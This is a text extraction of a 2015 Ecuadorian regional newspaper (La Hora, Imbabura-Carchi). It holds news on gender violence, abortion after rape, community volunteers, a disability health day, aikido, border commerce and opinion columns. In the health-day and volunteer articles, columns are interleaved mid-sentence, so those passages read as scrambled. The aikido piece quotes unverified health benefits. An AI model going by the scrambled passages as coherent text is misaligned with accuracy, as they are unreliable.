Issuu

50c incl. IVA DOMINGO 06 DE SEPTIEMBRE DE 2015

Imbabura, Carchi

Número total de ejemplares puestos en circulación: 35.828

VIOLENCIA DE GÉNERO:

Tulcán: caída comercial podría ser del 50%

‘Las creencias distorsionadas de género son parte del origen del agresor’ Santiago Boira, investigador prometeo, realiza un estudio sobre violencia de género en Imbabura. Él dialogó con La Hora sobre esta problemática, sobre todo, en el sector rural. Páginas A4 y A5

Voluntarios se unen a fuerzas de resistencia Treinta profesionales de todas las ramas, y de todas las edades, se unieron a este Comando. ibarra• Aportar

a la comunidad con conocimientos y servicios en las zonas vulnerables para garantizar el desarrollo adecuado de la sociedad es el principal objetivo de las Fuerzas de Resistencia (FR). Ayer, en un acto solemne, se llevó a cabo la inauguración del sexto curso de formación.

El trabajo que emprenderán, después de aprobar el curso respectivo, consiste en entrar a formar parte de las FR de Imbabura, que al momento cuenta con un total de 15 miembros como personal activo. Los 30 profesionales que se unieron ayer serán voluntarios y todas las actividades que desa-

El aborto frente a casos de violación ‘Paula’ es una colombiana de 23 años de edad que vino a Ecuador huyendo de las amenazas de la guerrilla. El año pasado, cuando regresaba a la casa con su hija de dos años en brazos, tres tipos la abordaron en una vereda y la violaron. Ella quiso evitar que la pequeña se asustara y actuó como si todo fuera un juego. Así, entre los tres se turnaron para abusar de ella y sostener a la niña. Ella no tenía a nadie más en el país y vivía solo de trabajos esporádicos. En medio del dolor y del trauma que esto le provocó, tuvo que enfrentarse a la decisión más complicada cuando

Quito•

se enteró de que producto de esa violación había quedado embarazada. Asesorada por el Frente por los Derechos Sexuales y Reproductivos, abortó. No tuvo complicaciones. Lo cierto es que, ilegal o no, muchas mujeres en el país toman la decisión de interrumpir un embarazo. El Instituto Nacional de Estadística y Censos (INEC) publicó el fin de semana pasado su último anuario de estadísticas hospitalarias, que revela que el año anterior 17.882 mujeres terminaron en abortos no espontáneos, lo que representa el 5,31% del total de embarazos Página B2 y B3

rrollen serán enfocadas hacia la comunidad. Otra de sus metas es la de dar apoyo a las instituciones públicas o privadas en diferentes actividades, centrándose en el servicio a las personas y lugares vulnerables. Según Jorge Maldonado, comandante del Grupo de Fuerzas de Resistencia de Imbabura, informó que la principal misión es llevar a cabo proyectos de apoyo a la comunidad y que para ello se han diseñado varias actividades en el campo médico, educativo,

PREPARACIóN. Los voluntarios se preparan en todos los ámbitos.

social... “Nuestro grupo objetivo son los sectores menos atendidos, vulnerables de la provincia y del área de influencia del Grupo de Caballería Mecanizada Nº 36 Yaguachi”. Página A3

Alemania y Austria abren sus fronteras a los migrantes Miles de europeos se movilizaron para que se abran las fronteras y se dé una respuesta a la crisis humanitaria. El éxodo de personas se compara con el ocurrido durante la Segunda Guerra Mundial. Página B8

La devaluación del peso colombiano frente al dólar está teniendo consecuencias graves para muchos sectores productivos del norte de Ecuador, que desde hace meses ha visto menguar sus ventas a la par que aumenta el flujo de compradores que cada día se dirigen a Colombia. Tras estimar que 35% de 3.200 comercios han cerrado durante los últimos meses, el presidente de la Cámara de Comercio del Carchi, Nelson Cano, dijo que ve “bastante compleja” la situación económica de su provincia y afirma que un 15% de los comercios restantes lleva a cabo inventarios, por lo que la caída de la actividad comercial podría llegar al 50% y pide más medidas de apoyo. Página B6

tulcán•

Ibarra

Aikido: la suma de arte y armonía Página A2

OtavalO

Yamor: las fiestas inician con todo Página A7

www.lahora.com.ec lahoraecuador @lahoraecuador

CYAN MAGENTA YELLOW BLACK

NORTE

REPORTE

TOME NOTA Aikido es la unión de tres términos: Ai es armonía, Ki significa energía y do es el camino.

IbArrA

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

¿dónde practicar? °

El Dojo se encuentra ubicado en el centro médico Homonovus, en el que los y las interesadas podrán inscribirse para iniciar con esta experiencia. Niñovs desde los cinco años y adultos desde los 14 años en adelante.

El Aikido juntA los LocaL. El Aikido llegó a Ibarra hace 18 años.

ElEmEntos dEl ArtE dE lA pAz “Seguir el camino en armonía con energía”. Eso significan las siglas del Aikido, un arte marcial diferente, que busca la paz interior a través de la meditación y en la que el combate no existe. El Aikido va más allá de la parte física, se enfoca en desarrollar la parte espiritual y la energía interna de los “aikidokas” o practicantes de este arte marcial. Hace 18 años llegó a la ciudad en manos de Wilson Vallejo, según indicó Irina Andrade, una de sus alumnas y ahora sensei de la disciplina en Ibarra. En este arte marcial no existe el combate, por lo que su práctica está ligada a encontrar paz que se logra a través de diferentes técnicas. “Se usa la fuerza del oponente para transformarla en energía, y desarrollarla”, agregó. Según manifestó Andrade, esta disciplina fue creada por el sensei Morihei Ueshiba, un artista japonés de 74 años, que unió dos técnicas: el jui-jitsu y el ken- jitsu para formar el akido, con el fin de buscar algo más.

IbArrA•

Empezó trabajando la parte de la energía y más no de la fuerza. “Es un conjunto de catanas, pasos específicos, técnicas de patadas, puños y técnicas en rodillas.” Dentro de la práctica se usa una técnica que consiste en caer y volver a levantarse, que dentro de la filosofía representa “el morir y volver a nacer”. Asimismo, técnicas de respiración y meditación. La parte abdominal es otro aspecto en el que se enfocan mucho ya que en ésta se concentra el “Ki” o la energía de la persona. En la práctica no existe combate y, a diferencia de otras artes arciales, no se asciende por cinturones, sino mediante kius o pruebas que se dan de manera descendente a partir de sexto nivel. En la práctica no existen enfrentamientos, por lo que los aikidokas comparten mediante seminarios que se realizan a nivel mundial. Aprendizaje Andrade señaló que el aikido

PráctIca. La meditación es uno de los ejes de la práctica.

Es un arte marcial que está ligado a la meditación, energía y equilibro del ser humano que llegó a Ibarra hace 18 años.

es un aprendizaje que se da de a poco y, como otras disciplinas, necesita de mucha constancia. “Mucha gente se asusta al inicio, pensado que no puede superar las técnicas, pero es un proceso lento que en cada práctica se va perfeccionando”. La meditación es parte de la

EstIramIEnto. Es otra parte de la práctica.

experiencia, por lo que técnicas de respiración son importantes para llevar a la mente a un estado meditativo. De igual manera, los roles son parte de la técnica de caída, en la que los aikidokas aprenden a caer sin lastimarse. Las armas como el bokken, jo, bo, y catana también son usadas para la práctica. beneficios En la actualidad el Dojo donde se practica el aikido está ubicado en el centro de medicina alternativa Homonovus, en el que este arte marcial también es una herramienta para tratar a pacientes. Se mencionó que los beneficios son múltiples. En niños que tienen problemas de hiperactividad se ha evidenciado que ayuda a apaciguar esas actitudes que caracterizan a esta condición, debido al estado de meditación y parte de concentración que requiere la práctica. En adultos, según manifestó la maestra del arte en mención, permite mayor flexibilidad. “Cuando se flexibiliza el cuerpo,

se flexibiliza la mente”. Se han visto mejoras en caso de hipertensión, hernias, dolores lumbares y enfermedades de todo tipo. El Aikido está encaminado a encontrar al desarrollo del ser humano. “La enfermedad es un patrón del cuerpo. Con el aikido se borra aquel patrón y se sustituye por otro”, agregó Fernando Andrade médico del centro. ¿Qué se necesita para practicarlo? Entregarse y dar todo para desarrollar las técnicas, disposición y paciencia. En la parte física mantenerse cómodo y dispuesto. En cuanto a ropa se utiliza el Gi, que es el atuendo que se usa y que es muy parecido al uniforme de judo. “El aikido es un arte marcial en el que se necesita tener conexión y sobre todo mucha disposición, es un camino a seguir, las personas deben seguir el camino con el que se sientan identificados y el que les permita desarrollarse”, concluyó la maestra . (CFDA)

EdadEs. Niños y adultos pueden practicarlo.

CIuDAD Ibarra

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora IMBABuRA-CARChI

Jornada. El domingo se hará una jornada médica a 102 personas con discapacidad.

102 personas con discapacidad se beneficiarán de jornada médica Un total de 102 per- clusión Social y Educación del sonas con discapacidad, que Municipio, manifestó que, depertenecen al programa de pendiendo de cómo surge esta atención prioritaria del Muni- jornada de salud integral, se la cipio de Ibarra, serán los bene- llevará a cabo por los diferenficiados de la primera jornada tes barrios del cantón. “Vamos de salud integral, organizada a ir a los barrios, atender en por la Dirección de Inclusión los barrios, con la gente en un trabajo conjunto con el Social y Educación del Patronato Provincial”. Cabildo. EL DATO El alcance con las La jornada se llevará 102 personas que prea cabo hoy en la plaza de se llevará a sentan discapacidad se la Juventud del parque Hoy cabo la jornada Ciudad Blanca, a partir de salud integral logró a través del equiel parque po técnico del prograde las 10:00. Para esta en Ciudad Blanca. ma. “Nuestros técnicos jornada se contará con fueron puerta a puerta, el apoyo del Patronato Provincial de la Prefectura de encontraron a las personas, Imbabura, que colaborará con reclutaron y ahora los estamos la unidad móvil de salud y mé- atendiendo 25 personas por dicos. Al igual que médicos de técnico. Hacemos visitas en las casas, terapias físicas, terapia la Policía Nacional. Se contará además con fi- ocupacional en sus casas. Es sioterapeutas del programa, se un programa que se ha manhará exámenes médicos como tenido desde la Municipalidad biometrías hemáticas. Poste- ya dos años, entonces la gente riormente se desarrollará una con la que contamos en nuespos consulta para entrega de tra base de datos es gente nuemedicamentos. Todo el proce- va, por eso es que hemos emprendido la primera jornada so es completamente gratuito. Mar Mena, gestora de pro- de inclusión”, explicó Mena. yectos en la dirección de In- (FCDL)

Ibarra•

VolunTarIos. 30 aspirantes formarán parte del Comando de las Fuerzas de Resistencia de Imbabura.

Fuerzas de Resistencia: voluntarios que se brindan a la comunidad Treinta profesionales de todas las ramas, y de todas las edades, se unieron a este Comando.

InauguraCIón. Ayer en el Grupo de Caballería Yaguachi, se llevó a cabo Ibarra• Aportar a la comunidad con conocimientos y ser- la inauguración del sexto curso de formación de las Fuerzas de Resistencia de vicios en las zonas vulnerables Imbabura. para garantizar el desarrollo adecuado de la sociedad es el el Grupo de Caballería Mecani- la población civil”. principal objetivo de las Fuer- zada Nº 36 Yaguachi”. Nebi Álvarez, docente en fí- Curso zas de Resistencia (FR). Ayer, en un acto solemne, se llevó a sica y química, explicó que su El curso inició ayer, tendrá una cabo la inauguración del sexto motivación para formar parte duración de 30 semanas y se de este Comando y de seguir llevará a cabo todos los sábacurso de formación. El trabajo que emprenderán, el curso, es la ayuda social que dos. Los horarios son desde las después de aprobar el curso res- puede brindar. Además de cre- 07:00 hasta las 13:00, en las pectivo, consiste en entrar a for- cer profesionalmente. “Ayudar instalaciones del Grupo de Camar parte de las FR de Imbabu- a los que más lo necesiten y ballería Yaguachi, ubicado en la ra, que al momento cuenta con brindar mi servicio a la patria parroquia de La Esperanza. Los temas que tratarán duun total de 15 miembros como me llena de orgullo”. Asimismo, Geovanni Bal- rante la preparación estarán repersonal activo. Los 30 profesionales que se deón, ingeniero en sistemas, lacionados a instrucción formal, unieron ayer serán voluntarios manifestó que se unió al grupo montaje de armamento, primey todas las actividades que desa- “porque tengo la vocación de ros auxilios, comunicaciones, rrollen serán enfocadas hacia la servicio, sobre todo, porque mi prácticas de tiro, instalación de campamentos, preparación vida siempre ha comunidad. Otra de sus de alimentos… estado encaminametas es la de dar apoyo Se informó que los partida a la labor social. EL DATO a las instituciones públicipantes del curso también He desempeñado cas o privadas en difese capacitarán en descensos rentes actividades, cen- AspirAnTEs formarán parte cargos en la rama Ayer se llevó a la inaugupara situaciones de rescate, trándose en el servicio de las Fuerzas de social y esta es la cabo ración del sexto de la oportunidad de curso de forma- lo cual se planifica con otras a las personas y lugares Resistencia provincia. de las instituciones como el ECU una u otra manera ción vulnerables. Fuerzas de 911, Bomberos, Secretaría servir a mi provin- Resistencia. Según Jorge Maldode Gestión de Riesgos, Cruz nado, comandante del Grupo de cia y luego a la Patria”. Jorge Paredes, capitán del Roja Imbabura. Fuerzas de Resistencia de Imbabura, informó que la principal Grupo de Caballería Yaguachi, misión es llevar a cabo proyectos explicó que las para las Fuer- resultados de apoyo a la comunidad y que zas Armadas tener al contin- Según Jorge Maldonado, en para ello se han diseñado varias gente de las Fuerzas de Resis- cada promoción se ha logrado actividades en el campo médi- tencia es importante, porque obtener profesionales en todas co, educativo, social... “Nuestro “son el nexo que tiene el ejér- las ramas, “que permiten enrigrupo objetivo son los sectores cito con la población civil. En quecer a la institución, aportar menos atendidos, vulnerables este grupo veo gente capaz, con a proyectos y conseguir las vide la provincia de Imbabura y amor a esta institución, con de- siones que se desarrollan como del área de influencia que tiene seos de dar todo, para ayudar a grupo”. (FCDL)

Eligen el mejor traje típico de Miss Continentes unidos Ibarra• La noche del sábado se llevó a cabo, en el Teatro Gran Colombia de Ibarra, la elección del mejor traje típico de Miss Continentes Unidos. Miss India fue la ganadora de esta parte del certamen en la edición 2015. El sábado 12 de septiembre, en Guayaquil, será la gala final y la elección de la ganadora de la corona. (RE)

NORTE

CYAN MAGENTA YELLOW BLACK

MINUTOS CON:

santiago boira

INvESTIGADOr PrOMETEO

tiempo lectura 15 min.

domingo 06 DE SEPTIEMBrE DE 2015 La Hora IMBABUrA-CArChI

InvestIgaCIón. Santiago Boira, investigador prometeo vinculado a la UTN, dialogó con Diario La Hora.

‘La vioLencia De géneRo está MaRcaDa poR eL siLencio’

PoR: ReInalDo enDaRa/La Hora

La violencia de género es un tema que no pierde coyuntura. Es un problema latente que necesita ser visibilizado para su tratamiento. Ante eso, Santiago Boira, psicólogo e investigador prometeo, vinculado a la Universidad Técnica del Norte, junto a un equipo de profesionales, se encuentra trabajando en una investigación sobre femicidio y violencia de género en la provincia de Imbabura, aunque agrega que el estudio también depende de la apertura de las comunidades y que por ello han llevado algo de su trabajo de campo al Carchi. El objetivo del estudio es valorar la situación de violencia de género tanto cualitativa como cuantitativamente, desde el ámbito de la psicología aplicada. Además de identificar la manera en que opera esta violencia desde la perspectiva del agresor y de la víctima. Por el momento, el estudio se ha enfocado en las comunidades rurales.

ImbabuRa•

¿Cuáles son los primeros resultados que va arrojando este estudio? El año pasado arrancamos y estuvimos cuatro meses, el proyecto dura ocho, haciendo trabajo de campo, sobre todo en zonas rurales. Estuvimos en la zona de Íntag, en el Valle del Chota, en Lita… Ahora acabamos de llegar de Él Ángel, en el Carchi. En el ámbito de las zonas rurales hay algunos puntos importantes. Lo primero es que la violencia en las zonas rurales se caracteriza porque está totalmente tapada. Es decir que hay un nivel de violencia muy alto, pero que está marcado por el silencio desde muchos puntos de vista. Como son lugares apartados de las ciudades es

más difícil incluso que lleguen las noticias sobre estas circunstancias, salvo que sea un asesinato, que hay información de esas comunidades. Otra de las cosas es que son lugares pequeños, como suelen decir: pueblo chico infierno grande. Entonces la propia comunidad calla y desde ahí viene esta situación de silencio por parte de todos los agentes que intervienen y hay un número significativo de mujeres que están sufriendo situaciones de violencia de género sostenidas en el tiempo y hay que tomar en cuenta que una de las características de la violencia es que opera en períodos largos, de 10, 15 o más años de relación matrimonial o de relación y estas mujeres están calladas… ¿a qué se debe este silencio sostenido y qué factores influyen para que se mantenga? Hay algunos más generales, que tienen que ver con el cómo opera la violencia de género. Luego hay otros que tienen que ver con el territorio en que sucede. Empezando por lo segundo, varias señoras me han contado en los talleres que muchas mujeres prefieren callar antes de verse sometidas a lo público. Es decir, antes de que su comunidad o su familia se entere de que son víctimas de violencia. Es como si considerasen que el mal menor es aguantar. Otra razón es el cuestionamiento que se hacen cuando tienen la intención de denunciar. Se preguntan: “bueno, yo denuncio y qué… me sigo quedando aquí”. Entonces hay muchas dificultades y en muchos territorios es complicado salir de la situación de violencia. Cuando se responden esas interrogantes, ellas deci-

den aguantar por el qué dirán, porque no hay una autonomía económica y por lo tanto no saben qué va a ser de ella ni de sus hijos. Son muchas las razones que hacen que se prefiera callar. ¿Y los puntos generales que menciona? En términos generales, y es una pregunta que nos hacemos de manera frecuente los investigadores, es el por qué pasan tantos años con sus agresores. Ahí hay otros factores más de carácter psicológico, como el de la esperanza de que el agresor cambie, la fantasía del amor, de recuperar su amor, y hasta con elementos que tienen que ver con teorías como el del ciclo de la violencia o el de la indefensión aprendida, que tratan de explicar el motivo por el que siguen. Hay una que es muy interesante que se llama la persuasión coercitiva, que opera a veces como la tortura o como el síndrome de Estocolmo en la que generas un vínculo, de alguna manera paradójico, con la persona que están conviviendo y que es destructivo. Ahí hay un punto importante, porque cuando hablamos de agresores de pareja, pensamos en gente que son psicópatas, pero esto no es del todo así. Obviamente hay agresores de pareja que son psicópatas, que digamos que tienen graves problemas, pero la mayoría son gente como muy normal, que tienen sus trabajos, sus relaciones sociales, pero que en sus casas pasa lo que pasa. Esto es para explicar un poco la pregunta de que cómo es posible plantearse que una mujer pueda estar tanto tiempo con esa persona.

¿Cómo surge el agresor? No hay un perfil del agresor. No se ha podido identificar ninguna variable que de manera inequívoca que nos diga: si usted bebe, agrede; si usted tiene celos, agrede… Estas dos que comento son significativas, pero podemos llamarlos factores que suelen estar con mayor frecuencia en agresores, pero que no explican la violencia. Entonces, cuando tratamos de responder cómo surge el agresor hay distintas posiciones. Alguna de las más extendidas es que el ‘caldo de cultivo del agresor’ sería un conjunto de creencias distorsionadas sobre lo que significa ser hombre y ser mujer, de género. Es decir, que se cree que para asentarse e identificarse con una identidad masculina necesita tener y ejercer ciertos comportamientos machistas o sexistas, no necesariamente hostiles. En este punto entra la idea del amor, de la mujer como la ‘más bella criatura del mundo’, pero que a la final está escondiendo, de un modo muy asimétrico, la manera de entender las relaciones y lo que significa ser varones o mujeres. Por lo tanto, si se tienen esas creencias distorsionadas y muy rígidas, y de alguna manera su pareja no responde a esos rituales o formas de relación, se puede tener el inicio de situación de violencia, que buscan compensar una situación descompensada. De hecho, algunos de los incidentes más graves, incluso de los femicidios, ocurren cuando la mujer decide separarse o ya se ha separado. Entonces viene ese ‘razonamiento’ en el que el agresor dice: “yo no puedo vivir sin ti, te amo demasiado y por eso te mato, mato a los niños y me ato yo”. O dicen: “Tu me has traicionado, me juraste amor o te veo hablar con otras personas…” ese tipo de cuestiones distorsionadas. Junto a esto, en estas creencias distorsionadas de género también aparecen factores de roles que creen que deben cumplirse, como el que la mujer deba estar en casa, cuidando y otras cosas y si no funciona así (para el agresor) se convierte en otro de los factores, entro otros más: infidelidad, alcohol, abuso de sustancias, dinero, estrés, ira… ¿Entonces el origen del agresor es la construcción social? La construcción social de los géneros y de alguna manera todas las situaciones de desbalance de poder. A fin de cuentas, detrás de estas construcciones asimétricas, hombres y mujeres no están jugando en un territorio de igualdad. Se podría decir que se da una situación de abuso de poder, que genera situaciones de inequidad, injusticia y desigualdad. Volviendo al silencio sostenido, ¿cómo enfrentarlo y superarlo? Es muy complejo. Siempre que hablamos en términos de respuesta en situaciones de violencia hay ejes fundamentales. Una

MiNuTOs CON

es que debe haber una respuesta integral. No es suficiente con que una asociación de cualquier índole se incorpore a un territorio y anime a que se rompa ese silencio. Tiene que haber una respuesta pública, de las autoridades, de la comunidad, de la familia y, por ejemplo, la familia no siempre juega un papel positivo. Esta respuesta tiene que incorporar a los diferentes agentes que están de alguna manera involucrados en la lucha contra esta violencia. En los territorios rurales creo que más. Qué es lo que ocurre en lo rural: hay un punto fundamental que consiste en ir modificando las creencias de las personas que viven ahí, incluidas las víctimas, los agresores… La educación ahí tiene un papel básico, buscando una respuesta ante la impunidad que significa el silencio. Si no digo nada es porque pienso que me voy a meter de gana y voy a salir perjudicado o si es una cuestión interna de la familia o si igual van a volver a los dos días. Es un problema de salud pública y público. Entonces hay que cambiar esos sistemas de creencia desde el punto de vista educativo y desde la proactividad. Creo que la administración tiene responsabilidad desde las distintas entidades para trasmitir esas ideas. Otra parte, que también es básica, es la respuesta. Dentro de los problemas enormes en temas de violencia es que se piensa que no pasa nada o que no va a pasar nada y que a fin de cuenta se va a ir sin consecuencia. Eso también alimenta el silencio. Es decir, no hay una expectativa de que pueda salir de la situación. Entonces, esos dos aspectos son básicos. Cambiar los sistemas de creencia desde la educación, desde la administración y, sin duda, desde la sociedad civil. Y, desde luego, debe haber una respuesta y a veces no es fácil. ¿Qué deben aportar las políticas públicas? Respecto a las políticas públicas, este país ha hecho muchas cosas. Ha incorporado el delito de femicidio y la violencia psicológica y esto hace que el problema se vaya visibilizando. Luego queda llegar a los lugares y no es un problema de Ecuador, es un problema general. Es decir que la proximidad de respuesta es básica y el problema hay que verlo en el tiempo. Aquí desaparecieron las comisarías de la mujer, se ha cambiado el sistema y ahora son equipos especializados de atención. Esto habrá que ir viendo, esto es muy reciente y la política pública no la podemos medir en esos términos. Lo que si creo muy importante es que la política y los planes públicos sean sostenidos, que se evalúen y que sean estables, para poder toar decisiones y mejorar, porque el problema es muy complejo. Creo que se están haciendo cosas, pero queda mucho por

domingo 06 DE sEPTiEMBRE DE 2015 La Hora iMBABuRA-CARChi

“Hay que tomar en cuenta que una de las características de la violencia es que opera en períodos largos”.

“Cuando hablamos de agresores de pareja, pensamos en gente que son psicópatas, pero esto no es del todo así”.

“Cuando hablamos de agresores de pareja, pensamos en gente que son psicópatas, pero esto no es del todo así”. “Tiene que haber una respuesta pública, de las autoridades, de la comunidad, de la familia y, por ejemplo, la familia no siempre juega un papel positivo”.

hacer. Aquí hay una clave también y es que no todo es igual: los casos de violencia que se dan en las ciudades no son lo mismo que en lo rural. Es necesario plantear respuestas que aproximen lo máximo posible debido a la dificultad que estas mujeres tienen para ejecutar la denuncia. Esta diferencia entre lo rural y el urbano es para tomar en cuenta y todos deberíamos tener esas sensibilidad de entender que no es lo mismo

cir: es que no se hace. El tema es que aquí o en España es complicado el tipo de respuesta cuando hablamos de comunidades muy pequeñas, cuando en esas comunidades operan factores como la presión social, el silencio, la familia… Aquí también entran los subcentros de salud y los colegios, porque son focos donde permanentemente la comunidad está teniendo vínculos. Hay que hacerlo integral, esa es la clave.

¿Por parte de las políticas públicas faltaría llegar más a esos territorios? En los estudios estamos identificando cuáles son, en concreto, las resistencia desde el punto de vista de la víctima, de la familia, de la sociedad… para hacer la denuncia. De nuevo viene que hay que ajustar esas necesidades a la respuesta. Creo que hay un trabajo hecho, claro que la administración llega, pero no es la misma situación la de la ciudad que la de las comunidades. Es complejo, no es un tema de de-

¿Qué factores se deben incluir en la educación para cambiar esa estructura? Desde que somos pequeños, el modo en que tenemos de ser hombres o ser mujeres necesita impactar. Por ejemplo, si vamos a cualquier secundaria vemos el tema de las reinas, y sé que ya comienza a haber reyes, pero sobre todo chicas. Es un modo muy particular en que la mujer puede que sea ingeniera, pero es la reina. Entonces los chicos y las chicas, en nuestro proceso de socialización, todos los modelos

que nos van transmitiendo son no verbales y eso está desde la educación infantil. Eso es cambiar las estructuras, pero son procesos larguísimos. Es reaccionar, detectar, comunicar, compartir la información y ser capaces de afrontar de manera integral el problema. Y en cuanto al femicidio… Este es otro punto. Cuando hablamos de femicidios siempre pensamos en el marido loco, pero hay muchas maneras que hacen que al final la mujer pueda morir. Uno de ellos es el suicidio, porque se convierte en un escape. Hay que analizar en concreto el femicidio. Para eso estamos hablando con familiares de víctimas y viendo las circunstancias. El problema, obviamente, es la mujer que muere, pero también es la familia que queda. Ver un poco qué es lo que pasó y cómo esa familia está viviendo. Nuestra sensación es que las cifras van a ser importantes, pero estamos realizando las bases de datos.

OpiNióN A6 tiempo lectura 15 min.

DOMINGO 06 DE SEpTiEMBRE DE 2015 La Hora iMBABuRA-CARChi

Hemos de proceder de tal manera que no nos sonrojemos ante nosotros mismos”.

El primer signo de la corrupción en una sociedad que todavía está viva es ‘el fin justifica los medios’”.

bAlTASAr GrACIáN ESCrITor y fIlóSofo ESPAñol (1601-1658)

GEorGES bErNANoS ESCrITor frANCéS (1888-1948)

MIGuEl áNGEl PuENTE A.

La política y el volcán ¿Qué pueden tener en común la política y el volcán, qué similitud puede existir entre el arte de gobernar y un coloso que es admirado en tiempos de calma y es temido cuando se reactiva, qué efectos pueden producir ambos y, a la vez, qué diferencia sustancial existe entre ellos? El 14 de agosto se produjeron las primeras explosiones con ceniza del Cotopaxi y desde entonces hay una permanente preocupación colectiva. En el peor de los escenarios podría generar una afectación general, alarma social y profundizar los problemas económicos del país, entre otros efectos. Esta política podría desbordar en una crisis económica que inició con la caída de los precios del petróleo, se prolonga por la tozudez de mantener el elevado gasto público y se afecta aún más por la incertidumbre que ha generado en el sector empresarial el anuncio de la Ley de Herencias y Plusvalía, que indiscutiblemente ha frenado la economía de todo el país. Si el presidente Correa tomara por lo menos dos decisiones trascendentales, se terminaría esta ‘ceniza política’, se controlaría estos ‘piroclásticos sociales’ y se evitarían los lahares que podrían destruir nuestra economía. La primera, el retiro definitivo de los proyectos de Ley de Herencia y de Plusvalía. De no hacerlo perpetuaría la incertidumbre económica, si no preguntemos al Banco Central cuántos dólares han salido del país desde el anuncio de estos proyectos. La segunda, el archivo de las enmiendas constitucionales y, específicamente, la reelección indefinida. Del procedimiento legal y la técnica constitucional no nos preocupemos, hace rato que eso es menos importante que la decisión del Presidente. A diferencia del volcán, que nadie puede controlar, predecir o detener, en la política actual solo una persona puede hacerlo. miguelp@puenteasociados.com DIrIjA SuS CArTAS A: cartasaldirector@lahora.com.ec casilla 1717243 cci o cualquiera de nuestras agencias. requisitos: nombres y apellidos completos; número de cédula; teléfono (fijo); dirección domiciliaria o de trabajo y correo electrónico.

Crisis y eleCCiones

Tras mostrar un desesperado apego al poder y ante la indignación ciudadana, Otto Pérez Molina tuvo que presentar su renuncia como Presidente de Guatemala. Y de su despacho pasar a la cárcel. El exgeneral que prometió combatir la corrupción, debió dimitir por corrupto, luego de que un juez emitiera una orden de aprehensión por el escándalo de sobornos que llevó a prisión a la exvicepresidenta y a otros altos integrantes del Gobierno. La Fiscalía y la Comisión Internacional contra la Impunidad, entidad adscrita a la ONU, anunciaron la desarticulación de una organización criminal integrada por empleados públicos que, presuntamente, recibieron dinero de empresarios para que les ayudaran a evadir impuestos. Y, al parecer, Pérez Molina era el jefe.

MArIANA GuzMáN VIllENA.

Destemplanza gratuita

Desde lo que puede recodar de mi niñez, tengo grabado el respeto que nuestros padres nos inculcaron hacia aquellas personas a las que estábamos obligadas a demostrar, a nuestros familiares mayores en edad, no importaba el vínculo consanguíneo; a las autoridades en general, a las y los religiosos, a los sacerdotes. Aún rememoro las lecciones paternas cuando advertía que el respeto es hacia todos, no importa de quien se trate, pues para respetar no existe rangos, estructuras sociales ni econó-

Como suele ocurrir en otros países, el desprestigio del Régimen empezó cuando se hizo evidente el descaro con que funcionarios de todo nivel entraron a expoliar los bienes del Estado: de la noche a la mañana levantaban mansiones de lujo, viajaban cada rato al exterior y se movilizaban en autos cuyos precios están muy por encima de sus ingresos normales. Curiosamente, Guatemala celebrará hoy comicios generales para elegir a sus autoridades para el período 2016-2020, incluidos Presidente y Vicepresidente, además de 158 diputados, 20 legisladores al Congreso y 338 corporaciones municipales. Ojalá las elecciones y la crisis política sean una oportunidad de cambios serios. Que se avance, finalmente, en las reformas que la ciudadanía demanda y se acabe tanta corrupción.

micas, sino simplemente seres humanos. Esa estrictez que se exigía en el comportamiento hacia el entorno de nuestra convivencia prácticamente ha desaparecido de nuestra cultura. Hoy observamos con cierta frialdad o desdén, por la cotidianidad de los acontecimientos, por la costumbre de mirar lo que cada vez es mas repetitivo, como se ultraja sin consideración a las personas, no importa la edad ni condición, sean adultos, ancianos, ricos, pobres, casados, descasados. La ofensa a obnubilado entender que la tolerancia no solo es una virtud que debe practicarse, sino hacer de ella una forma de vida en que prime el respeto, caso contrario sería de preguntarse ¿Quién amerita ser respetado?. Tal vez solo el que piensa igual

que uno, pues el que discrepa o difiere merece recibir gratuitamente una destemplanza, conceptuándole de recadero, de mensajero, términos que dirigidos con el ánimo de ofender a una persona, se tornan peyorativos, descalificando a quienes ejercen estos oficios. No hay como la mesura en la palabra, en las expresiones destinadas hacia los demás, en meditar en lo que vamos a comentar, preferible muchas veces guardar silencio, como suele decirse morderse la lengua, que atiborrarnos en explicaciones posteriores, que de disculpa nada tienen, más bien justificamos lo dicho indebidamente, considerando que el ofendido se merece por inmiscuirse en asuntos, que si bien interesan a todos los ciudadanos, solo debe opinar el que tiene la razón absoluta.

rAMIro CréDITo NoMbrE ruIz r.

Por el ojo de la cerradura

Los políticos juegan con el destino de los pueblos, esta situación ha producido una masiva desconfianza. El Estado no entiende ni quiere entender a los débiles. Se ha preocupado de la macroeconomía y del pago de la deuda. El bienestar social está en el abandono. El resultado está a la vista: la destrucción económica de la clase media y la miseria. El trabajo de los políticos es una actividad comercial: es la venta de hombres. Los diputados venden sus votos, los militantes del partido de gobierno exigen su participación. ¿Por qué la dirigencia de los trabajadores y campesinos no guardan compostura? Hace muchos años proclamaban la lucha de la igualdad económica. Y lo consiguieron. Vemos entonces diferencias abismales en la clase trabajadora. Los privilegiados y los maldecidos de sus propias conquistas. Aquí, los médicos han estudiado para taxistas. La formación de administradores, arquitectos, ingenieros ha servido para la desocupación. País de contrastes el nuestro: multiétnico, multicultural… multiexcluyente. Nathaniel Nash dice en The New York Times: casi todos los países latinoamericanos han adoptado alguna forma de modelo en materia económica de libre mercado. El resultado ha sido sorprendente. La inflación ha descendido considerablemente y ha comenzado el crecimiento por vez primera en muchos años. Pero el costo social ha sido elevado. Para frenar los gastos del gobierno, miles de sus empleados han quedado cesantes, los programas de asistencia social se han reducido y la competencia extranjera ha obligado a cerrar muchas empresas nacionales, incrementándose el desempleo. Es como enseñar al caballo a vivir sin comer. Pero cuando al fin aprende, puede haber muerto.

Diario liberal, agnóstico e inclusivo. Respetuoso y defensor de los Derechos Humanos. Presidente Nacional - Director Francisco ViVanco rioFrío Directora Adjunta Juana López sarmiento Subdirector aLeJandro QuereJeta BarceLó Directora Imbabura- Carchi mariana guzmán ViLLena Editor General Luis eduardo ViVanco arias Editor Imbabura- Carchi reinaLdo endara Editorial Minotauro S.A. Ibarra: mejía 350 entre sucre y rocafuerte. Teléfono: 295-6502 Email: ibarra@lahora.com.ec Tulcán: sucre 52-072 entre ayacucho y Junín, 2do piso Teléfono: 298-4646 Email: tulcan@lahora.com.ec Año: XVIII No. 7333

www.lahora.com.ec Los escritos de los colaboradores sólo comprometen a sus autores y no reflejan el pensamiento del periódico, que se expresa en su editorial.

